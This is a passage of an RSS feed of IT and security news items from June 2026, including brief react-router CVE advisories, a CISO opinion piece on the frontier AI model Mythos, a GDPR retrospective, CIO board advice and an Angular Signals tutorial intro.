<link>https://tsecurity.de/de/3631707/it-nachrichten/my-6-high-tech-tactics-for-pets-afraid-of-fourth-of-july-fireworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631707/it-nachrichten/my-6-high-tech-tactics-for-pets-afraid-of-fourth-of-july-fireworks/</guid>
<pubDate>Mon, 29 Jun 2026 02:17:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Many pets react poorly to Independence Day booms. But today's smart technology can help you protect them.]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta’s Astryx Brings a CLI and MCP Server to an Open-Source React Design System Agents Can Read]]></title>
<description><![CDATA[Meta released Astryx, an open-source React design system built on StyleX. It pairs a CSS-variable theme cascade with a CLI and MCP server, so both engineers and AI agents build using the same API. The project is in Beta, MIT-licensed, and grew inside Meta over eight years.
The post Meta’s Astryx ...]]></description>
<link>https://tsecurity.de/de/3629313/ai-nachrichten/metas-astryx-brings-a-cli-and-mcp-server-to-an-open-source-react-design-system-agents-can-read/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629313/ai-nachrichten/metas-astryx-brings-a-cli-and-mcp-server-to-an-open-source-react-design-system-agents-can-read/</guid>
<pubDate>Sat, 27 Jun 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta released Astryx, an open-source React design system built on StyleX. It pairs a CSS-variable theme cascade with a CLI and MCP server, so both engineers and AI agents build using the same API. The project is in Beta, MIT-licensed, and grew inside Meta over eight years.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/27/metas-astryx-brings-a-cli-and-mcp-server-to-an-open-source-react-design-system-agents-can-read/">Meta’s Astryx Brings a CLI and MCP Server to an Open-Source React Design System Agents Can Read</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-61686 | remix-run react-router createFileSessionStorage path traversal (GHSA-9583-h5hc-x8cw / EUVD-2026-1468)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in remix-run react-router. This vulnerability affects the function createFileSessionStorage. The manipulation leads to path traversal.

This vulnerability is traded as CVE-2025-61686. It is possible to initiate the attack remotely. There is no...]]></description>
<link>https://tsecurity.de/de/3629055/sicherheitsluecken/cve-2025-61686-remix-run-react-router-createfilesessionstorage-path-traversal-ghsa-9583-h5hc-x8cw-euvd-2026-1468/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629055/sicherheitsluecken/cve-2025-61686-remix-run-react-router-createfilesessionstorage-path-traversal-ghsa-9583-h5hc-x8cw-euvd-2026-1468/</guid>
<pubDate>Sat, 27 Jun 2026 07:54:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router</a>. This vulnerability affects the function <code>createFileSessionStorage</code>. The manipulation leads to path traversal.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2025-61686">CVE-2025-61686</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Production-grade AI agents for financial compliance: Lessons from Stripe]]></title>
<description><![CDATA[In this post, you learn how Stripe built a production-grade AI agent system for financial compliance. We cover the technical architecture of Stripe’s ReAct agent framework and the infrastructure decisions behind a dedicated agent service. We also discuss the role of human oversight in maintaining...]]></description>
<link>https://tsecurity.de/de/3627770/ai-nachrichten/production-grade-ai-agents-for-financial-compliance-lessons-from-stripe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627770/ai-nachrichten/production-grade-ai-agents-for-financial-compliance-lessons-from-stripe/</guid>
<pubDate>Fri, 26 Jun 2026 16:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you learn how Stripe built a production-grade AI agent system for financial compliance. We cover the technical architecture of Stripe’s ReAct agent framework and the infrastructure decisions behind a dedicated agent service. We also discuss the role of human oversight in maintaining accountability, and key lessons about task decomposition, orchestration patterns, and cost optimization through prompt caching. By the end, you will understand how to design agentic systems that scale compliance operations without compromising quality or auditability.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mythos is a signal, not a siren: What frontier AI should change for CISOs]]></title>
<description><![CDATA[When a new AI capability starts making headlines, I see the same pattern play out in boardrooms and executive staff meetings. The technology is introduced as a looming breakthrough for attackers. The conversation quickly shifts to worst-case scenarios. Then security leaders are asked some version...]]></description>
<link>https://tsecurity.de/de/3626884/it-security-nachrichten/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626884/it-security-nachrichten/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos/</guid>
<pubDate>Fri, 26 Jun 2026 11:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>When a new AI capability starts making headlines, I see the same pattern play out in boardrooms and executive staff meetings. The technology is introduced as a looming breakthrough for attackers. The conversation quickly shifts to worst-case scenarios. Then security leaders are asked some version of the same question: Are we suddenly exposed in ways we were not exposed before?</p>



<p>My answer is usually no.</p>



<p>In most organizations, the bigger issue is not that a frontier model such as Mythos will magically create a new category of risk overnight. It is that these models can accelerate work on both sides of the cybersecurity equation. Attackers may use them to move faster, but defenders can use them to identify, prioritize and fix weaknesses that have been sitting in plain sight for years.</p>



<p>That is why I view Mythos as a signal, not a siren. It signals that the economics of cyber offense and defense are changing. It does not signal that security fundamentals no longer matter. If anything, it proves the opposite. The organizations that have clear asset visibility, disciplined patching, strong identity controls and resilient operating models will be in a far better position to absorb whatever AI changes next.</p>



<p>That perspective matters because recent breach reporting still points to familiar failure points. Verizon’s <a href="https://www.verizon.com/business/resources/Tea/reports/2025-dbir-data-breach-investigations-report.pdf">2025 Data Breach Investigations Report</a> shows that credential abuse and vulnerability exploitation remain central themes in how organizations get compromised, with exploitation continuing to rise. In other words, the path into the enterprise is still usually paved by weaknesses security teams already understand.</p>



<h2 class="wp-block-heading">The real problem is still the basics</h2>



<p>In my experience, many organizations do not have a strategy problem as much as they have an execution problem. Security leaders know the basics. Their teams know the basics. Their auditors, regulators and board committees know the basics. The struggle is sustaining those basics consistently across hybrid estates, aging systems, cloud platforms, remote users and sprawling third-party dependencies.</p>



<p>That is why I am cautious when I hear predictions that AI will fundamentally change which controls are relevant. Most successful breaches still start with a known weakness that was not remediated, not prioritized correctly or not visible in the first place. An unpatched internet-facing system. A misconfigured identity relationship. Excessive privilege. Weak segmentation. A service account nobody has reviewed in years. A business-critical exception that quietly became permanent.</p>



<p>I have seen security programs lose momentum when they over-rotate toward the newest threat narrative. They start funding edge use cases while old control gaps remain open. They buy more tooling before fixing ownership, process discipline and accountability. They treat cybersecurity maturity as a collection of projects instead of an operating model. That approach was risky before frontier AI, and it will be even riskier if these models compress attacker timelines further.</p>



<p>If Mythos changes anything for most enterprises, it changes the urgency of getting the basics right. It increases the cost of delays. It raises the penalty for security debt. It puts more pressure on teams that already struggle to inventory assets, rationalize findings and close the delta between what they know and what they have actually fixed.</p>



<p>That shift should also change the way we prioritize work. In many programs, vulnerability backlogs grow because teams are making decisions in fragments. Infrastructure owns one piece. Security operations own another. Identity, cloud and application teams each see a different slice of the problem. What gets lost is the full risk picture. That is why so many organizations feel busy but not measurably safer. They are addressing issues, but they are not consistently reducing the combinations of weakness that attackers actually exploit.</p>



<p>The practical takeaway is straightforward. Before leaders assume Mythos creates a completely new threat model, they should ask a simpler question: Where are we still weak in ways that an attacker would recognize immediately? In my experience, that question leads to a more honest and productive discussion than any speculative debate about what AI may eventually do.</p>



<h2 class="wp-block-heading">AI can help defenders close the gaps they already know they have</h2>



<p>The more constructive way to think about Mythos is to ask where frontier AI can improve defensive capacity right now. I do not mean replacing analysts or handing sensitive decisions to a model without oversight. I mean using AI to tackle problems security teams have long understood but have not had the scale or time to address consistently.</p>



<p>Identity is a good example. NIST says <a href="https://www.nist.gov/identity-access-management">identity and access management</a> is a fundamental and critical cybersecurity capability. Most CISOs would agree. Yet identity environments remain full of drift: nested groups, inherited entitlements, stale accounts, inconsistent role definitions and privileged access that survives long after the business need is gone. Those issues are rarely invisible. They are just hard to analyze holistically in real time.</p>



<p>This is where AI can become valuable. It can help correlate relationships across directories, cloud control planes, tickets, logs and policy stores. It can help surface unusual combinations of access, identify probable attack paths and prioritize fixes based on business impact rather than raw alert volume. The benefit is not more noise. The benefit is faster understanding.</p>



<p>The same logic applies to vulnerability and patch management. Most enterprises already have scanners, ticketing systems and dashboards. What they often lack is a consistent way to decide which vulnerabilities matter most in the context of exploitability, exposure, compensating controls and asset criticality. Frontier AI can help teams move from a long list of findings to a shorter list of actions that materially reduce risk.</p>



<p>I also see opportunities in configuration management and detection engineering. Security teams are drowning in fragmented data. AI can help normalize evidence from multiple sources, highlight configuration drift and connect seemingly isolated signals into a more realistic picture of operational risk. For lean teams, especially, that matters. It can mean spending more time reducing risk and less time reconciling spreadsheets, duplicate alerts and disconnected workflows.</p>



<p>None of this eliminates the need for skilled practitioners. It simply gives them leverage. And in a field where the volume of exposure routinely outpaces available staff, leverage matters.</p>



<p>The most important point is that this is not a call to hand the keys to a model. It is a call to use AI where the return is clearest: accelerating analysis, improving prioritization and helping teams close long-standing control gaps. In other words, the biggest opportunity is not building a futuristic security theater. It is finally operationalizing the fundamentals at a speed the business can sustain.</p>



<h2 class="wp-block-heading">The board conversation should shift from fear to resilience</h2>



<p>The most important shift Mythos should trigger may not be technical at all. It should change the way CISOs talk to boards, CEOs and operating leaders.</p>



<p>Too often, emerging technologies force security leaders into reactive conversations rooted in fear. The implied message is that a new attacker capability has arrived, so the organization now needs a new budget line, another platform or a fresh round of urgent exceptions. Sometimes that is true. Often it is not. More often, the better response is to connect the new development to existing risk priorities and reinforce the investments that improve resilience across multiple scenarios.</p>



<p>When I speak with executives about AI-driven cyber risk, I try to keep the conversation grounded in three points:</p>



<ol class="wp-block-list">
<li>Most cyber losses still stem from preventable weaknesses. That is not a comforting message, but it is an actionable one.</li>



<li>Improvements in identity, asset governance, patch discipline, third-party oversight and response readiness create value beyond any single threat cycle.</li>



<li>The organizations that manage complexity best will usually outperform those that react most dramatically.</li>
</ol>



<p>That framing also helps boards ask better questions. Instead of asking, “What are we doing about Mythos?” they should ask, “Where would AI make our current weaknesses more expensive or more exploitable?” Instead of asking for a point solution, they should ask whether security and IT operations are aligned on the highest-risk remediation work. Instead of measuring activity, they should measure whether security debt is shrinking.</p>



<p>For CISOs, that is an opportunity. Mythos can be used to justify another round of panic, or it can be used to elevate the quality of the risk conversation. I believe the better path is clear. Use the attention to tighten fundamentals. Use the technology to improve prioritization. Use the moment to reduce chronic control failures that attackers have exploited for decades.</p>



<p>That is why I do not see Mythos as a siren demanding overreaction. I see it as a signal that the enterprises most prepared for the AI era will be the ones that finally operationalize what security leaders have been saying for years: resilience is built through disciplined execution, not headline-driven improvisation.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GDPR at 10: Landmark data protections, increasing business burden]]></title>
<description><![CDATA[Ten years have passed since the General Data Protection Regulation (GDPR) came into force, and the results are mixed. While data protection has become more firmly established in European companies — and beyond — than ever before, the business world remains critical of the regulation due to increa...]]></description>
<link>https://tsecurity.de/de/3626658/it-security-nachrichten/gdpr-at-10-landmark-data-protections-increasing-business-burden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626658/it-security-nachrichten/gdpr-at-10-landmark-data-protections-increasing-business-burden/</guid>
<pubDate>Fri, 26 Jun 2026 09:53:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ten years have passed since the <a href="https://www.csoonline.com/article/562107/general-data-protection-regulation-gdpr-requirements-deadlines-and-facts.html">General Data Protection Regulation (GDPR)</a> came into force, and the results are mixed. While data protection has become more firmly established in European companies — and beyond — than ever before, the business world remains critical of the regulation due to increasing bureaucracy, legal uncertainty, and competitive disadvantages.</p>



<p>From a data protection perspective, this is a success story. <a href="https://www.bitkom.org/sites/main/files/2026-05/bitkom-zeitreihe-ds-gvo-final.pdf" target="_blank" rel="noreferrer noopener">According to a 2018 Bitkom study</a>, shortly before GDPR came into effect that year, only 7% of German companies had fully or largely implemented the requirements. Six years later, 71% of German companies said they had done so.</p>



<p>Furthermore, GDPR has significantly increased awareness of the protection of personal data — both among companies and consumers. Customers are paying closer attention to transparency, consent, and data security. For many companies, data protection has now become a competitive factor in building customer trust.</p>



<p>At the same time, record fines against data giants such as <a href="https://www.csoonline.com/article/567531/the-biggest-data-breach-fines-penalties-and-settlements-so-far.html">Meta, TikTok, and Uber</a> show that the GDPR is serious business, with the total amount of publicly known GDPR fines having exceeded €6 billion for the first time in March 2026. Still, <a href="https://www.csoonline.com/article/4178001/gdpr-set-the-tone-for-regulatory-action-and-the-ai-fine-pushback-to-come.html">just 60% of fines have been paid to date</a>, with other fines having been annulled or remaining under appeal.</p>



<p>Also, according to law firm CMS, there has been a clear shift in focus for GDPR enforcement: Supervisory authorities are increasingly concentrating on practical compliance issues and less on isolated, high-profile cases. What began with landmark proceedings and record fines has now evolved into a routine, operational review of companies’ day-to-day data protection practices.</p>



<h2 class="wp-block-heading">Companies complain of increasing burden</h2>



<p>At the same time, dissatisfaction within the business community is increasing. What was originally intended to provide greater legal certainty and uniform rules across Europe is now perceived by many companies as a constant burden.</p>



<p>In a Bitkom survey from 2025, 81% of companies surveyed stated that the GDPR was making their business processes more complicated. In 2016, only 25% held this view. By 2025, 97% rated the effort required as high, with 44% rating it as very high.</p>



<p>There are many reasons for this discontent. Four out of five companies surveyed (82%) by Bitkom cited uncertainty regarding the precise data protection regulations as a challenge in 2025. At the same time, 86% believe that implementation is never truly complete because companies must continuously react to technical and legal developments. Data protection is thus perceived as a particularly challenging, ongoing compliance task.</p>



<h2 class="wp-block-heading">AI: GDPR’s new test</h2>



<p>Data-driven projects are particularly affected. In 2025, 59% of study participants reported that the development of data pools had failed or not even been initiated due to data protection regulations. The figures remain high for data analysis tools, AI applications, and the digitization of business processes as well. Data protection regulations are thus perceived as a hurdle primarily where — as is particularly the case with AI — innovations depend on large volumes of data.</p>



<p>The result: According to Bitkom, 59% of companies see European data protection as an advantage for AI development in Germany and Europe compared to other countries. In practice, however, they experience the opposite. For example, in 2025, 69% of respondents stated that data protection makes it difficult to train AI models with sufficient data.</p>



<p>“The reality is: AI is not being developed in Europe because of our data protection practices, but the models are still being used here,” commented Bitkom President Ralf Wintergerst on the findings. “This means nothing is gained for the protection of European citizens’ data, but much is lost for Europe as a business location.”</p>



<p>Bitkom is therefore calling for a reform that strengthens data protection where real risks to people arise — and relieves companies of the burden where formal obligations offer no additional protection. Specifically, this means a consistent risk-oriented approach to the GDPR and a unified understanding that the training and operation of AI systems must also be possible in Europe, says Wintergerst.</p>



<p>Whether the industry association’s demand for a relaxation of data protection standards in favor of technological competitiveness is also in the interest of consumers is another matter. What is certain is that the GDPR has not lost its relevance even 10 years after its entry into force (or eight years since its application).</p>



<p>Or, as lawyer <a href="https://cms.law/de/deu/personen/anna-lena-fuellsack" target="_blank" rel="noreferrer noopener">Anna Lena Füllsack</a> from CMS puts it: “The enforcement of the GDPR has outgrown its infancy and is now an integral part of the regular legal landscape throughout Europe. For companies, it will remain a key strategic issue in the coming years.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What CIOs must do after the board meeting]]></title>
<description><![CDATA[Ahead of board meetings, CIOs refine slides, rehearse talking points, anticipate questions, and align with the executive team. Then they walk in, deliver their presentation, answer a few questions, and breathe a sigh of relief when it’s over.



The problem, according to several experienced CIOs-...]]></description>
<link>https://tsecurity.de/de/3624013/it-nachrichten/what-cios-must-do-after-the-board-meeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624013/it-nachrichten/what-cios-must-do-after-the-board-meeting/</guid>
<pubDate>Thu, 25 Jun 2026 12:02:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ahead of board meetings, CIOs refine slides, rehearse talking points, anticipate questions, and align with the executive team. Then they walk in, deliver their presentation, answer a few questions, and breathe a sigh of relief when it’s over.</p>



<p>The problem, according to several experienced CIOs-turned-board-directors, is that many tech leaders treat the board meeting as a discrete event rather than part of a relationship.</p>



<p>“The board meeting is an ongoing dialogue, not an event,” says Ron Guerrier, CTO of Save the Children who’s sat on or advised several boards.</p>



<p>That mindset shift becomes increasingly important as boards dig deeper on issues like cyber risk, AI governance, and major enterprise initiatives. So while CIOs often focus on the presentation itself, experienced boardroom veterans say what happens after can be just as critical.</p>



<h2 class="wp-block-heading">Keep the conversation going</h2>



<p>One of the biggest mistakes CIOs make is viewing board engagement as a quarterly obligation. Once the meeting ends, they return to their day jobs and wait for the next board cycle to begin. For Guerrier, that misses the point.</p>



<p>The strongest <a href="https://www.cio.com/article/4149185/the-inside-track-on-how-boards-evaluate-their-cios.html?utm=hybrid_search">CIO-board relationships</a> are built over time through a series of conversations, not quarterly presentations. Questions raised during a board meeting shouldn’t disappear into the next reporting cycle. Instead, CIOs should view them as signals about what directors prioritize and where future conversations should focus.</p>



<p>That doesn’t mean bombarding directors with updates, though. It means remaining engaged, responsive, and thoughtful between meetings. The most effective CIOs understand that every board interaction contributes to a broader relationship built on trust and credibility.</p>



<h2 class="wp-block-heading">Reflect before you react</h2>



<p>The instinct after a board meeting is often to move immediately to follow-up actions, answer outstanding questions, and get back to the daily demands of running IT.</p>



<p>CIOs should resist that urge, says Sigal Zarmi, former CIO and current public-company board director. “The most important thing is to step back and think what resonated with the board,” she says. “What were the questions, what really piqued their interests, and what’s the board focusing on.”</p>



<p>Board questions often provide insight into the main things directors care about, whether it’s innovation, cyber risk, AI, operational resilience, or broader business transformation efforts. Understanding those priorities can help CIOs shape future conversations and align their messaging.</p>



<p>According to Zarmi, many technology leaders leave valuable insights on the table because they become overly focused on their content rather than on engaging the board.</p>



<p>“A lot of people presenting think the board needs to know all the details in the world,” she says. “They come with heavy decks and a lot of data the board can’t comprehend.”</p>



<p>Instead, she encourages CIOs to focus on narrative and business impact. “What’s most important is really to tell the story of what you’re doing, why you’re doing it, and the impact on the business.”</p>



<h2 class="wp-block-heading">Follow-up isn’t housekeeping, it’s leadership</h2>



<p>Wayne Shurts, former CTO of Sysco and current board member and advisor, believes many CIOs overlook one of the most valuable aspects of board engagement: access to experienced executives who can help them think differently.</p>



<p>“It really begins before the board meeting,” he says.</p>



<p>Long before a CIO walks into the boardroom, Shurts recommends building relationships with directors whose backgrounds align with the issues tech leaders are likely to discuss. Those conversations can provide valuable insight into board priorities, concerns, and expectations. “Try to get a feel for the audience before you walk in there and present, which is just basic, but not enough people do it,” he says.</p>



<p>The same philosophy applies after the meeting ends. If directors raise questions that can’t be fully addressed during the meeting, Shurts recommends following up rather than waiting for the next quarterly cycle. More importantly, he believes CIOs often underestimate how much value they can gain from the board itself.</p>



<p>“Sometimes boards are really helpful,” he says. “They might have given you some valuable information that can make things go better.”</p>



<p>Too many CIOs interpret tough questions as criticism, though. But experienced board members often see them as opportunities to challenge assumptions, improve decision-making, and strengthen outcomes. The same principle applies when discussing major initiatives since directors evaluate the leadership team’s alignment around business priorities, rather than the CIO in particular.</p>



<p>“There are very few, if any, IT projects that aren’t business projects,” says Shurts.</p>



<p>No matter what the topic, boards want to see evidence that technology investments are supported across the business and understood by the leaders accountable for delivering results.</p>



<h2 class="wp-block-heading">Ask what happened after you left the room</h2>



<p>One of the most overlooked opportunities comes after the presentation ends and the CIO leaves the discussion. Many IT leaders debrief with their CEO, general counsel, or executive team. Far fewer seek feedback from trusted directors. Shurts believes they should.</p>



<p>After significant board interactions, he recommends reaching out to directors with whom a relationship already exists and simply ask, “How’d that go? How did I do?”</p>



<p>Good directors can provide valuable perspective on how the discussion landed, what concerns surfaced during subsequent conversations, and whether there were issues that deserve additional attention. Those conversations can reveal concerns that never surfaced publicly during the meeting. They can also identify opportunities to improve future interactions, strengthen relationships, and better understand how directors think about technology issues.</p>



<p>For Zarmi, the final lesson is transparency. Any communication with directors after a meeting should remain aligned with the CEO and broader leadership team. CIOs may own the technology strategy, but they’re still operating within a larger enterprise context.</p>



<p>“Always follow up with the CEO,” she says. “’Here’s what I presented. What do you think and how can I be more effective?’”</p>



<p>That discipline becomes especially important when directors ask follow-up questions. While a CIO may be tempted to respond tactically, Zarmi argues that leaders must first consider how their answer fits into the broader business narrative since CIOs need to think about the role they play in the big picture, she adds.</p>



<p>As Shurts puts it, “Boards are over-presented to, and under-dialogued with.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eddy Cue Says Apple TV Will Deliver ‘Better and More’ Content]]></title>
<description><![CDATA[Apple TV is preparing to expand its lineup with “better and more” programming, according to Apple Services head Eddy Cue, who made the comment after receiving the 2026 Entertainment Person of the Year award at Cannes.



The award recognized Cue’s role in building Apple TV into a platform known f...]]></description>
<link>https://tsecurity.de/de/3622651/ios-mac-os/eddy-cue-says-apple-tv-will-deliver-better-and-more-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622651/ios-mac-os/eddy-cue-says-apple-tv-will-deliver-better-and-more-content/</guid>
<pubDate>Wed, 24 Jun 2026 21:39:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV is preparing to expand its lineup with “better and more” programming, according to Apple Services head Eddy Cue, who made the comment after receiving the 2026 Entertainment Person of the Year award at Cannes.



The award recognized Cue’s role in building Apple TV into a platform known for premium films and series, while Cue said Apple never aimed to offer the biggest library and instead focused on making the best shows and movies.



TNW reported that Cue described Apple’s goal as “the best, not the most,” while also making it clear that Apple wants to increase its output without losing the quality standard that helped define the service.



Cue also recalled how Apple won over Reese Witherspoon and Jennifer Aniston for The Morning Show by arguing that a new service with no other major programming would give the project more attention than a larger rival.



More Films and a Flexible Strategy



The Hollywood Reporter noted that producer Jerry Bruckheimer praised Apple’s approach to F1 The Movie, as Apple kept the film in theaters longer while audiences continued buying tickets.



Cue said Apple stayed flexible because the company wanted to react to real audience demand rather than follow fixed release rules.



With a sequel to F1 The Movie already indicated, Apple TV’s next phase looks focused on more original films and shows while keeping its quality-first identity.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-53663 | remix-run react-router/server-runtime up to 7.15.0 cross-site request forgery (EUVD-2026-38338)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in remix-run react-router and server-runtime up to 7.15.0. The impacted element is an unknown function. The manipulation results in cross-site request forgery.

This vulnerability is identified as CVE-2026-53663. The attack can be exe...]]></description>
<link>https://tsecurity.de/de/3616965/sicherheitsluecken/cve-2026-53663-remix-run-react-routerserver-runtime-up-to-7150-cross-site-request-forgery-euvd-2026-38338/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616965/sicherheitsluecken/cve-2026-53663-remix-run-react-routerserver-runtime-up-to-7150-cross-site-request-forgery-euvd-2026-38338/</guid>
<pubDate>Tue, 23 Jun 2026 02:38:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router and server-runtime up to 7.15.0</a>. The impacted element is an unknown function. The manipulation results in cross-site request forgery.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-53663">CVE-2026-53663</a>. The attack can be executed remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Govee Releases New Smart Light Themes for House of the Dragon Season Three]]></title>
<description><![CDATA[Govee teamed up with HBO to show how its TV backlights and smart home lights react to fire-breathing dragons on screen.]]></description>
<link>https://tsecurity.de/de/3616366/it-nachrichten/govee-releases-new-smart-light-themes-for-house-of-the-dragon-season-three/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616366/it-nachrichten/govee-releases-new-smart-light-themes-for-house-of-the-dragon-season-three/</guid>
<pubDate>Mon, 22 Jun 2026 20:18:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Govee teamed up with HBO to show how its TV backlights and smart home lights react to fire-breathing dragons on screen.]]></content:encoded>
</item>
<item>
<title><![CDATA[What caused this React app to crash?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 0x - Views:49 A small CI pipeline puzzle from a very real build-system pattern.
The app moves from React 18 to React 19. The next CI build runs faster than expected. Then production crashes.

The clue is in the cache setup.

Watch the clip and share the ...]]></description>
<link>https://tsecurity.de/de/3615604/videos/what-caused-this-react-app-to-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3615604/videos/what-caused-this-react-app-to-crash/</guid>
<pubDate>Mon, 22 Jun 2026 15:33:03 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 0x - Views:49 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qnl8-PBJNu4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>A small CI pipeline puzzle from a very real build-system pattern.<br />
The app moves from React 18 to React 19. The next CI build runs faster than expected. Then production crashes.<br />
<br />
The clue is in the cache setup.<br />
<br />
Watch the clip and share the most likely cause in the comments.<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Christine Rafla<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Angular Signals in practice: Building a signal-first form in Angular]]></title>
<description><![CDATA[Understanding a reactivity model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained i...]]></description>
<link>https://tsecurity.de/de/3608234/ai-nachrichten/angular-signals-in-practice-building-a-signal-first-form-in-angular/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608234/ai-nachrichten/angular-signals-in-practice-building-a-signal-first-form-in-angular/</guid>
<pubDate>Thu, 18 Jun 2026 17:21:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Understanding a <a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">reactivity</a> model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained in practice.</p>



<p>In two previous articles, “<a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a>” and “<a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a>,” we reframed form behavior as a state-driven problem and examined Angular Signals as a pull-based reactivity model well-suited to that kind of work. The natural next step is to apply those ideas to an actual Angular form and observe how the architecture changes when state becomes the primary concern.</p>



<p>This article focuses on a concrete example: a modest but realistic registration form. Rather than introducing new concepts, the goal here is to make earlier ideas tangible. We will see how a signal-backed model reshapes validation, interaction state, and submission logic, and how much coordination logic simply disappears when form behavior is expressed declaratively.</p>



<p>The focus here is not on novelty or completeness, but on making the underlying ideas easier to reason about. By walking through a signal-first form from model definition to submission, we can evaluate whether this approach truly reduces complexity and where it introduces new trade-offs that teams should understand before adopting it more broadly.</p>



<h4 class="wp-block-heading">Read the series:</h4>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a></li>



<li><a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a></li>



